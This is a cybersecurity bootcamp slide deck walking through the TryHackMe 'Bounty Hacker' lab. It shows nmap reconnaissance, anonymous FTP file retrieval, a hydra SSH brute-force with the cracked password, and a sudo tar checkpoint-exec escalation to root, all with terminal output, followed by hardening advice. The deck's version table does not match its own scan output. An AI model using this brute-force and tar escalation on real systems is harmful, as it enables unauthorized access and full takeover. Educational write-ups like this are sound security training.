IRONHACK CYBERSECURITY BOOTCAMP • PROJECT DAY

TryHackMe Penetration Testing Walkthrough

Bounty Hacker CTF

From anonymous FTP exposure to full root compromise



Presented by

Tiago Santos & Valeria Mosquera Díaz

Target Room

tryhackme.com/room/cowboyhacker

Project Elevator Pitch

01 • MISSION OBJECTIVE

Prove elite hacking claims by capturing user and root flags

Chain three classic misconfigurations into complete Linux system takeover.

Easy
Room Difficulty

Pentest
Boot2Root Track

2 Flags
User & Root Proof



End-to-End Attack Methodology

01

Reconnaissance

Nmap scan identifies open ports.

02

FTP Enumeration

Anonymous login leaks credential files.

03

SSH Brute-Force

Hydra cracks password for lin.

04

Root Escalation

Sudo tar spawns root shell.

SECTION 02 • TECHNICAL EXECUTION

The Walkthrough

Step-by-step discovery, credential harvesting, and privilege escalation

Step 1: Network Enumeration (Nmap)

```
>_ nmap -sV -sC
```

Port / Protocol	Service	Version	Key Finding
21 / TCP	FTP	vsftpd 3.0.3	**Anonymous login allowed**
22 / TCP	SSH	OpenSSH 7.2p2	Target for brute-force
80 / TCP	HTTP	Apache 2.4.18	Static Cowboy Bebop decoy

```
root@ip-10-82-91-234:~# nmap -sC -sV 10.82.180.192
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-12 08:17 UTC
Nmap scan report for ip-10-82-180-192.eu-west-1.compute.internal (10.82.180.192)
Host is up (0.00065s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.82.91.234
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:29:ec:ba:70:40:20:73:9f:45:31:a2:04:ca:b3:d7 (RSA)
|   256 85:67:76:e4:60:2c:02:de:3f:46:e6:13:cf:50:46:b5 (ECDSA)
|_  256 cd:87:cf:6c:b0:0e:8d:af:3d:05:38:ac:82:07:a1:ad (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.07 seconds
```

Step 2: Anonymous FTP File Leak

```
root@ip-10-82-91-234:~# ftp 10.82.180.192
Connected to 10.82.180.192.
220 (vsFTPd 3.0.5)
Name (10.82.180.192:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp>
```

ftp → anonymous → mget *

task.txt: Reveals system username **lin**

locks.txt: Contains leaked candidate password wordlist

Pivot Vector: Enables targeted SSH credential attack

Step 3: SSH Brute-Force & User Flag

```
root@ip-10-82-91-234:~# hydra -l lin -P locks.txt ssh://10.82.180.192
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore
 laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-11-12 08:24:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.82.180.192:22/
[22][ssh] host: 10.82.180.192   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-11-12 08:24:20
```

hydra -l lin -P locks.txt ssh://

Cracked Credentials

lin : RedDr4gonSynd1cat3

SSH Foothold

Interactive shell as lin.

User Flag Captured

Read ~/Desktop/user.txt.

Step 4: Privilege Escalation via Sudo Tar

```
lin@ip-10-82-180-192:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on ip-10-82-180-192:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on ip-10-82-180-192:
    (root) /bin/tar
lin@ip-10-82-180-192:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
#
```

Sudo Audit: sudo -l reveals (root) /bin/tar

GTFOBins Exploit: Checkpoint flags execute arbitrary shell commands

Root Compromise: Spawns uid=0(root) and captures /root/root.txt

ROOT ESCALATION PAYLOAD

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Technical Challenge // Big Mistake

The Rabbit Hole

Port 80 Decoy: Wasted time fuzzing static web page

No Web Vulns: Zero hidden directories or login forms

Missed Signal: Overlooked FTP anonymous access initially

Key Lesson Learned

Low-Hanging Fruit: Always check anonymous FTP first

Syntax Precision: Double-check GTFOBins tar flags

Disciplined Recon: Enumerate every open port systematically

Defensive Remediation Recommendations

Disable Anonymous FTP

Enforce SFTP with authenticated access.

Harden SSH Access

Require SSH keys and Fail2Ban.

Restrict Sudo Binaries

Remove root privileges from /bin/tar.

Conclusion & Key Takeaways

3

Chained Flaws

FTP leak, weak password, sudo tar

100%

Root Compromise

Full administrative control achieved

Zero

Custom Exploits

Pure misconfiguration abuse

Minor configuration oversights compound rapidly into complete system compromise.



Thank You & Questions

TryHackMe: Bounty Hacker Walkthrough

Valeria Mosquera Díaz & Tiago Santos